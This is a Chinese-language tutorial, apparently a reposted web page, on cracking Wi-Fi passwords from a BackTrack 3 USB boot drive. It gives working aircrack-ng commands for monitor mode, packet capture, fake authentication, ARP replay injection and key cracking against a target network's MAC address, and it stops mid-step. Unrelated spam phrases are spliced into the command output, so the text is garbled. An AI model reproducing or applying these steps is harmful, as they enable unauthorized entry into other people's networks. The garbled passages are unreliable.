backtrack3（BT3）usb版破解WIFI⽆线⽹络密码详细步骤好像很多朋友都在这东西，我来发上来吧!软件BAIDU⼀下就有得下了!
⼀、先开始制作启动U盘：将下载好的backtrack3(BT3) usb版(下载地址在⽂章末尾)⽂件bt3b141207.rar直接解压到U盘（1G以上容量）。把Boot 和BT3两个⽂件夹放到U盘的根⽬录，打开BOOT⽂件夹双击运⾏" bootinst.bat "批处理⽂件。U盘⾥就会多出4个⽂件." isolinux.boot" "isolinux.cfg" "isolinux.bin " "syslinux.cfg" （如果想要中⽂截⾯的BT3的菜单，就在下载BT3中⽂语⾔包。）
⼆、之后重启 windows 进⼊BIOS设置，把BIOS⾥的frist boot device设置为USB-HDD（或者是USB--ZIP）再重启选择从usb启动。系统进⼊backtrack3 系统。
三、现在开始破解
1.在shell窗⼝中输⼊ ifconfig 命令 ，出现如下信息：
lo no wireless extensions.
eth0 no wireless extensions.
eth1 IEEE 802.11g ESSID:"" Nickname:""
1尺等于多少厘米
Mode:（......）Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
2.出你的⽆线⽹卡名字，我这⾥是 eth1.再启动你的⽹卡为Moniter模式(输⼊airmon-ng start eth1 11)。再输⼊ ifconfig 命令 ，返回如下信息：
丛的部首是什么
lo no wireless extensions.
eth0 no wireless extensions.
eth1 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
伊能静二胎产女Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
性价比最好的剃须刀Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
3. 输⼊命令 airodump-ng -c 11 --bssid 00:1A:01:8D:C3:B2 -w outputs eth1.
出纳个人工作总结
命令中的11 表⽰要破解的频道号，bssid后⾯的数字表⽰破解⽬标的MAC物理地址，outputs表⽰要⽣成的包的名称。回车运⾏。
4.再开⼀个 shell 输⼊ aireplay-ng -1 0 -e targetnet -a 00:1A:01:8D:C3:B2 -h 00:A1:C1:D8:A5:B6 eth1
其中“targetnet”表⽰破解⽬标⽹络名,00:1A:01:8D:C3:B2前⾯已解释过是指⽬标MAC物理地址，00:A1:C1:D8:A5:B6表⽰本机⽹卡MAC物理地址
5.再开⼀个 shell 输⼊ aireplay-ng -3 -b 00:1A:01:8D:C3:B2 -h 00:A1:C1:D8:A5:B6 eth1
五五普法心得体会获取更多的数据包。
6.返回数据量到1万的时候就可以破解了。再开⼀个shell输⼊ aircrack-ng -z -b 00:1A:01:8D:C3:B2 outputs.cap 进⾏破解。如果破解不成功，让它继续抓包，直到破解